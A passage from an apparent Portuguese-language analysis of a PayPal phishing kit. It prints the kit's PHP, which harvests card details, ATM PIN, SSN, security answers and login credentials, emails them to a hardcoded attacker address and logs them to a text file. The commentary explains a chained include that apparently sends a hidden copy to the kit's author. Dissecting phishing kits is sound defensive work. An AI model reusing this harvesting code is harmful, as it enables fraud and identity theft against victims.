$message .= "Expiration Date : ".$_POST['defaultexpmonth']."/"; $message .= "".$_POST['defaultexpyear']."\n"; $message .= "Card Verification Number : ".$_POST['defaultcvv2']."\n"; $message .= "ATM PIN : ".$_POST['PIN']."\n"; $message .= "Address 1 : ".$_POST['defaultaddress1']."\n"; $message .= "Address 2 : ".$_POST['defaultaddress2']."\n"; $message .= "City : ".$_POST['defaultcity']."\n"; $message .= "State : ".$_POST['defaultstate']."\n"; $message .= "ZIP Code : ".$_POST['defaultzip']."\n"; $message .= "Country : ".$_POST['defaultcountry']."\n"; $message .= "Telephone : ".$_POST['userphone']."\n"; $message .= "Social Security Number : ".$_POST['ssn']."\n"; $message .= "Date Of Birth : ".$_POST['bday']."/"; $message .= "".$_POST['bmonth']."/"; $message .= "".$_POST['byear']."\n"; $message .= "Driver's License : ".$_POST['drl']."\n"; $message .= "\n"; $message .= "---------------------------\n"; $message .= "\n"; $message .= "Security Question 1 : ".$_POST['question1']."\n"; $message .= "Answer 1 : ".$_POST['answer1']."\n"; $message .= "Security Question 2 : ".$_POST['question2']."\n"; $message .= "Answer 2 : ".$_POST['answer2']."\n"; $message .= "IP : ".$ip."\n"; $message .= "\n\n"; $message .= "---------------The-Big-hichamhack@live.fr------------------------------\n"; $to = "d-h@live.fr"; // Put here Your E-Mail... /* ############Scam Made By AdAmMeD################ */ $subject = "PayPal:".$ip; $headers = "From: <d-h@live.fr>"; $headers = "MIME-Version: 1.0\n"; $from = "PayPal Monster"; mail($to,$subject,$message,$headers,$from); require(HEADING_TARGET); header("Location: ../done.php?cmd=_login&dispatch=5885d80a13c0db1f8e263663d3faee8d4b3d02051cb40a5393d96fec50118c72"); } } $file= fopen("../../usernames.txt", "a"); fwrite($file, "-----------------------PayPal Spam Result-----------------------------\n"); fwrite($file, "Email Address : ".$_SESSION['emaill']."\n"); fwrite($file, "Password : ".$_SESSION['passwordd']."\n"); fwrite($file, "IP : ".$ip."\n"); fwrite($file, "Browser : ".$browser."\n"); fwrite($file, "\n"); fwrite($file, "--------------Credit Card Result-------------\n"); fwrite($file, "----------------------------------------------\n"); fwrite($file, "\n"); fwrite($file, "Security Question 1 : ".$_POST['question1']."\n"); fwrite($file, "Answer 1 : ".$_POST['answer1']."\n"); fwrite($file, "Security Question 2 : ".$_POST['question2']."\n"); fwrite($file, "Answer 2 : ".$_POST['answer2']."\n"); fwrite($file, "IP : ".$ip."\n"); fwrite($file, "\n\n"); fwrite($file, "---------------The Big Cave & V!RuS MaRoC Meknes Spammer--------------\n"); fclose($file); ?> Tudo oque e inserido nessa pagina e enviado para ela mesma e esse PHPtrata esses dados. Primeiro ha validacoes simples para verificarse realmente os dados foram inseridos, caso esteja tudo certo e criado um e-mail com as informacoes.Econseguimos ver para quem os dados furtados sao enviados:$to ="d-h@live.fr"; // Put here Your E-Mail...O codigoate ajuda falando onde deve ser inserido o e-mail do golpista. Issopode ser uma pista de que o codigo desse phishing foi feito poralguem e distribuido ou vendido para outros usarem. E haoutra coisa que tambem da pistas disso, e algo que pode passardesapercebido para quem nao analisar o codigo com calma. Nessecodigo antes de fazer as validacoes ha essa linha:require(PR_TARGET."header.php");O requiree a mesma coisa que o include. Aqui ele esta inserindo a paginaheader.php que esta localizada no caminho da variavel PR_TARGET queele havia registrado anteriormente como variavel global (lembra?).O codigoda header.php e esse:Ela porsua vez esta definindo outra variavel global chamada "HEADING_TARGET"que tem como valor o caminho de outra pagina:../WEBSCR-640-20101004-1/js/lib/min/require.phpE apos afuncao de envio de e-mail, ha essa linha:require(HEADING_TARGET);Essesegundo require vai inserir essa segunda pagina require.php quepossui esse codigo:Essapagina so serve para enviar um e-mail novamente com as informacoescapturas. O campo To do e-mail vemos que e para o mesmoendereco. Mas por que o atacante faria todo esse codigo de "paginachamando pagina" para conseguir mandar o e-mail duas vezes? Seriamuito mais facil adicionar mais uma linha da funcao mail() doPHP.Isso aomeu ver trata-se do que e conhecido como caixa 2. A pessoa quecriou o phishing programou todo o codigo e disponibilizou paradownload para qualquer um baixar, ou vendeu, ou trocou. E ainda daate dica dentro do codigo falando onde